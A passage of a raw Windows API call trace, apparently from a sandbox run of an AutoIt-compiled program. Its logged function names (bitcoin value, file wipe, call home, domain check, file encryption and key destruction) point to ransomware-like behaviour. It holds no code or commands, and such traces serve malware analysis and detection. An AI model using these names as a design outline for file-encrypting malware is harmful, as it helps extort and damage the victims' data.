returned 0x8 [0050.061] CharUpperBuffW (in: lpsz="PASTEBIN", cchLength=0x8 | out: lpsz="PASTEBIN") returned 0x8 [0050.061] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0050.061] CharUpperBuffW (in: lpsz="_GET_BITCOIN_VALUE", cchLength=0x12 | out: lpsz="_GET_BITCOIN_VALUE") returned 0x12 [0050.061] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0050.061] CharUpperBuffW (in: lpsz="_GUICTRLEDIT_SETLIMITTEXT", cchLength=0x19 | out: lpsz="_GUICTRLEDIT_SETLIMITTEXT") returned 0x19 [0050.061] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0050.061] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0050.061] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0050.061] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0050.061] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0050.061] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILEMAPPING", cchLength=0x19 | out: lpsz="_WINAPI_CREATEFILEMAPPING") returned 0x19 [0050.061] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0050.061] CharUpperBuffW (in: lpsz="_WINAPI_MAPVIEWOFFILE", cchLength=0x15 | out: lpsz="_WINAPI_MAPVIEWOFFILE") returned 0x15 [0050.061] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0050.061] CharUpperBuffW (in: lpsz="_WINAPI_UNMAPVIEWOFFILE", cchLength=0x17 | out: lpsz="_WINAPI_UNMAPVIEWOFFILE") returned 0x17 [0050.061] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0050.061] CharUpperBuffW (in: lpsz="_SINGLETON", cchLength=0xa | out: lpsz="_SINGLETON") returned 0xa [0050.061] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0050.061] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0050.061] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0050.061] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0050.061] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0050.061] CharUpperBuffW (in: lpsz="DOMAINCHECK", cchLength=0xb | out: lpsz="DOMAINCHECK") returned 0xb [0050.061] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0050.062] CharUpperBuffW (in: lpsz="_WINAPI_NETGETJOININFORMATION", cchLength=0x1d | out: lpsz="_WINAPI_NETGETJOININFORMATION") returned 0x1d [0050.062] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0050.062] CharUpperBuffW (in: lpsz="_BUFFERSIZE", cchLength=0xb | out: lpsz="_BUFFERSIZE") returned 0xb [0050.062] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0050.062] CharUpperBuffW (in: lpsz="CALLHOME", cchLength=0x8 | out: lpsz="CALLHOME") returned 0x8 [0050.062] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0050.062] CharUpperBuffW (in: lpsz="MYERRFUNC", cchLength=0x9 | out: lpsz="MYERRFUNC") returned 0x9 [0050.062] AllocateAndInitializeSid (in: pIdentifierAuthority=0xd72f04f888, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0xd72f04f890 | out: pSid=0xd72f04f890) returned 1 [0050.062] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xd72f346700, IsMember=0xd72f04f880 | out: IsMember=0xd72f04f880) returned 1 [0050.062] GetSysColorBrush (nIndex=15) returned 0x1100074 [0050.062] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0050.062] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0x63) returned 0x130215 [0050.063] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa4) returned 0xa020f [0050.063] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa2) returned 0x18020b [0050.063] LoadImageW (hInst=0x7ff756b50000, name=0x63, type=0x1, cx=16, cy=16, fuLoad=0x0) returned 0x2201df [0050.064] RegisterClassExW (param_1=0xd72f04f820) returned 0xc13f [0050.064] GetSysColorBrush (nIndex=15) returned 0x1100074 [0050.064] RegisterClassExW (param_1=0xd72f04f790) returned 0xc144 [0050.064] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0050.064] InitCommonControlsEx (picce=0xd72f04f7f8) returned 1 [0050.065] ImageList_Create (cx=16, cy=16, flags=0x21, cInitial=1, cGrow=1) returned 0xd72f211900 [0050.065] LoadIconW (hInstance=0x7ff756b50000, lpIconName=0xa9) returned 0x90127 [0050.065] ImageList_ReplaceIcon (himl=0xd72f211900, i=-1, hicon=0x90127) returned 0 [0050.066] CreateWindowExW (dwExStyle=0x0, lpClassName="AutoIt v3", lpWindowName="AutoIt v3", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=300, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff756b50000, lpParam=0x0) returned 0xb002c [0050.066] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x24, wParam=0x0, lParam=0xd72f04f270) returned 0x0 [0050.066] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x81, wParam=0x0, lParam=0xd72f04f220) returned 0x1 [0050.068] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x83, wParam=0x0, lParam=0xd72f04f290) returned 0x0 [0050.071] SetTimer (hWnd=0xb002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0050.071] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc0e7 [0050.071] CreatePopupMenu () returned 0xb0093 [0050.071] CreateWindowExW (dwExStyle=0x0, lpClassName="edit", lpWindowName=0x0, dwStyle=0x50b008c4, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xb002c, hMenu=0x1, hInstance=0x7ff756b50000, lpParam=0x0) returned 0x601e8 [0050.080] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x210, wParam=0x10001, lParam=0x601e8) returned 0x0 [0050.080] ShowWindow (hWnd=0xb002c, nCmdShow=0) returned 0 [0050.080] ShowWindow (hWnd=0xb002c, nCmdShow=0) returned 0 [0050.081] Shell_NotifyIconW (dwMessage=0x0, lpData=0xd72f04f4a0) returned 1 [0050.088] Shell_NotifyIconW (dwMessage=0x1, lpData=0xd72f04f0a0) returned 1 [0050.088] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 1 [0050.088] TranslateMessage (lpMsg=0xd72f04f6a0) returned 0 [0050.088] DispatchMessageW (lpMsg=0xd72f04f6a0) returned 0x0 [0050.088] NtdllDefWindowProc_W (hWnd=0xb002c, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0050.088] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.088] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.088] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0050.088] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.088] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0050.088] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.088] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0050.089] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.089] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0050.089] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.089] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0050.089] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.089] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0050.089] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.089] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0050.089] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.089] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0050.089] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.089] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0050.089] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.089] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0050.089] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.090] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.090] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.090] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.090] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.091] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.091] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.091] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.091] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.091] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.092] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.092] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.092] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.092] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.092] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.092] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.092] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.092] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.093] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.094] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.094] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.095] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.096] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.096] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.096] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.096] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.097] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.098] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.099] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.100] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0050.100] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xd72f04f6a0) returned 0 [0050.101] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0050.101] PeekMessageW (in: lpMsg=0xd72f04f6a0, hWnd=0x0, 